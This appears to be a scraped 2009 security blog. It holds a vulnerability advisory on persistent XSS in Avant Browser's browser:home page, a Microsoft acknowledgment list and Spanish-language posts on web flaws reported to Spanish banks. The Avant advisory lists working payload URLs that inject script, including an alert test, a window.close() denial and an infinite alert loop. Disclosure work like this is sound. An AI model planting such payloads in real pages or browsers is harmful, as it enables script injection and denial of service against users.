thnx to Brink he is investigate with me.
thnx to all who day after day support me !!!
atentamente:
--
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente...

Avant Browser browser:home Persistent XSS vulnerabilities

###########################################
Avant Browser browser:home Persistent XSS vulnerabilities
vendor url: http://www.avantbrowser.com/
Advisore: http://lostmon.blogspot.com/2009/07/
avant-browser-browserhome-persistent.html
vendor notify: NO exploit available: yes
############################################

#############
description
#############

Avant Browser´s user-friendly interface brings a new level
of clarity and efficiency to your browsing experience,and
frequent upgrades have steadily improved its reliability.
Avant Browser is freeware That's right. 100% Free!.

Avant Browse contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate properly the url links upon submission to the
history, bookmarks and top sites visited in browser:home page.
This could allow a user to create a specially crafted URL or a
bookmark that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server
wen try to load browser:home ,leading to a loss of integrity.

###############
version tested
###############

Avant Browser 11.7 build 35

#########
solution:
##########

Update to version 11.7 build 36
it is reported and tested that isn´t
vulnerable.


#############
timeline:
#############

discovered: 23-jul-2009
disclosure: 30 jul 2009

##################
testing
##################

Demostration Video => http://www.spymac.com/details/?2417793
Open Avant Browser and by default the browser load
'browser:home' page. in this page we can view tree
columns , 1 top sites 2 history and 3 recent bookmarks.

All tree colums are prone vulnerables to a xss let´s go
to demostrate it in the tree cases.
I make a web page posible vulnerable to a xss condition

<?
$cmd=$_GET[id]
?>

I place a online doc for demo here =>
http://usuarios.lycos.es/reyfuss/id.php?id=

open avant browser and navigate to
http://usuarios.lycos.es/reyfuss/id.php?id="><script>alert(1)</script>
wait until load , and them close the browser
or open Browser:home URI.

The script is executed and we have two columns afected,
the first and the second.

go to tools menu and delete history ...

open avant browser and go to
http://usuarios.lycos.es/reyfuss/id.php?id="><script>alert(1)</script>

rigth click and select add bookmark and add it.

load again browser:home and the xss is executed
in bookmarks column.

So if we for example like to deny the access to
browser:home we can load =>
http://usuarios.lycos.es/reyfuss/id.php?id="><script>window.close()</script>
and wen open the broser and load browser:home on load,
the script close it.

so if we like to denial the service we can load =>
http://usuarios.lycos.es/reyfuss/id.php?id="><script>while(1)alert(1)</script>

################ End #####################

thnx to estrella to be my ligth
thnx to Brink he is investigate with me.
thnx to all who day after day support me !!!
atentamente:
--
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente...

Acknowledgments from Microsoft online services.

Security Researcher Acknowledgments

for Microsoft Online Services

The Microsoft Security Response Center (MSRC) is pleased to recognize the security researchers who have helped make Microsoft online services safer by finding and reporting security vulnerabilities. Each name listed represents an individual or company who has responsibly disclosed one or more security vulnerabilities in our online services and worked with us to remediate the issue.

http://technet.microsoft.com/en-us/security/cc308575.aspx#0609

June 2009 Security Researchers

• Blue Moon Consulting
  bluemoon.com.vn


• Lostmon Lords
  lostmon.blogspot.com


• Security Team
  dongabank.com.vn


• Nenad Vijatov
  blog.vijatov.com

--

thank to all Lostmon groups team

Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Caja Granada ha Parcheado Su web

###################################
Caja Granada ha Parcheado Su web
vendor Url:http://caja.caja-granada.es/
###################################

La web de La entidad bancaria Caja granada bajo uno
de sus diferentes dominios,se vio afectada por una
serie de errores de validacion de tipo Cross-site
scripting (XSS) y de tipo (CSRF)

Estas vulnerabilidades fueron descubiertas y
estudiadas por mi hasta descubrir las vulnerabilidades
o vectores de ataque, en la parte externa de la web;es
decir en la parte no autentificada de la web.

Las vulnerabilidades fueron reportados al equipo de seguridad
logica de La entidad, y al servicio de atencion al cliente,
despues del intercambio de unos mails, ha quedado parcheada
la parte mas critica de estas vulnerabilidades, la cual
permitia la inclusion de todo un sitio web bajo un frame
sobe el dominio principal de la entidad.

Caja Granada vuelve a ser segura en esos puntos reportados.
Ningun cliente de Caja granada pudo verse afectado , ya que
las comunicaciones se produjeron con absoluta discreccion
por ambas partes.

En el caso de la inclusion del sitio, ademas de haber sido
corregido , se nos muestra un mensage advirtiendonos de si
de verdad hemos accedido a esa url atraves del dominio de
caja Granada.

No se da ninguna prueba de cocepto por motivos evidentes.

Referencias :

http://caja.caja-granada.es

http://lostmon.blogspot.com/2009/01/la-banca-espaola-ante-el-phishing.html

http://lostmon.blogspot.com/2009/02/entidades-bancarias-espanolas-ante-el.html



################## €nd ###################


Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
--
atentamente:
Lostmon (lost...@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Caixa Sabadell Parchea sus dominios web

#######################################
Caixa Sabadell Parchea sus dominios web
vendor: http://www.caixasabadell.es
#######################################


La web de Caixa Sabadell bajo dos de sus diferentes dominios,
se vio afectada por una serie de errores de validacion de tipo
Cross-site scripting (XSS).

Estas vulnerabilidades fueron descubiertas y estudiadas por mi
hasta descubrir las vulnerabilidades o vectores de ataque, en
la parte externa de la web;es decir en la parte no autentificada
de la web.

Las vulnerabilidades fueron reportados al equipo de seguridad
logica de La entidad, y al servicio de atencion al cliente,

Estas ediciones han sido solucionadas ya a dia de hoy, y asi
caixa Sabadell vuelve a ser segura en esos puntos reportados.

No se da ninguna prueba de cocepto por motivos evidentes.

Referencias :

http://www.caixasabadell.es

http://lostmon.blogspot.com/2009/01/la-banca-espaola-ante-el-phishing.html

http://lostmon.blogspot.com/2009/02/entidades-bancarias-espanolas-ante-el.html



################## €nd ###################


Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com
--
atentamente:
Lostmon (lost...@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Entidades bancarias españolas ante el phishing II

#######################################
Entidades bancarias españolas ante el phishing II
#######################################

Este articulo es una segunda parte de este otro:

La banca española ante el phishing

Despues del estudio realizado sobre el estado
de la banca española ante el phishing,me gustaria
decir como ha sido la relacion y que ha pasado
despues de ese articulo.

Se ha intentando notificar a las entidades afectadas
Los problemas encontrados en sus webs , atraves de los
cuales atacantes remotos podrian intentar lanzar ataques
de phishing sobre las mimas webs de estas entidades.

Para la decepcion general,ha sido una minoria de las
entidades afectadas las que han contentado o se han
interesado por saber algunoslos posibles puntos flacos
de sus webs.

No se les ha pedido nada mas que parchearan sus webs
y se les ha ofrecido ayuda y orientacion ,asi como
el reporte de todos las vulnerabilidades encontradas,
y siendo todo esto ofrecido sin ningun animo de lucro.

En vista del poco interes prestado, lo mas logico es
poner una señal de stop y hacer una reflexion seria
sobre si tan seguros son los servicios que nos ofrecen
como se empeñan en mostrarnos en sellos y sellos de calidad
y garantia.

Casi todos suelen escudarse en que por falta de tiempo se
sacan a produccion partes o proyectos que no han sido aun
bien probados o testeados a fondo....

No deberian Antes de hacer eso , testear y retestear , para
no poner en peligro otras partes dela web?.

No revelo las vulnerabilidades por motivos obvios
aunque si podeis ver unas capturas como prueba del
concepto(he borrado la informacion destacada de las URL)
y dire que pero entre ellas se haya una muy grave la cual
la entidad afetada deberia correjir cuanto antes;
pues permite la inclusion de todo un sitio web
bajo un frame en su dominio, las demas son agujeros
xss y sql injection , asi como algun escape de
informacion suficiente para lanzar un aatque de tipo
ingenieria social.

Me dejo dos en el tintero que son las que parecen
dispuestas aparchear y merecen su tiempo para ello
al menos por el interes prestado.

Las entidades afectadas son :

##############
servicaixa
##############

http://www.servicaixa.com



###########
sa nostra
###########

www.sanostra.es



###############
caixa sabadell
###############

http://www.caixasabadell.com


Esta entidad Ya ha solucionado Sus Dos
agujeros y vuelve a ser segura en esos puntos.

##################
caixa manresa
##############

http://www.caixamanresa.es


###########
caja duero
###########

https://www.cajaduero.es


###########
cajasol
###########

http://www.cajasol.es


##############
deutsche-bank
###############

http://www.deutsche-bank.es

#####################
kutxa.net
####################

http://www.kutxa.net


se les notifico un agujero xss
concretamente un XSS persistente
y este ha sido ya pacheado.

###########
Banesto
############

http://www.banesto.es


###################
banco santander:
###################

https://www.bancosantander.es


###########
cajastur
###########

http://www.cajastur.es



################€nd###################

--

atentamente:
Lostmon (Lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group:http://groups.google.com/group/lostmon (new)
--

La curiosidad es lo que hace mover la mente....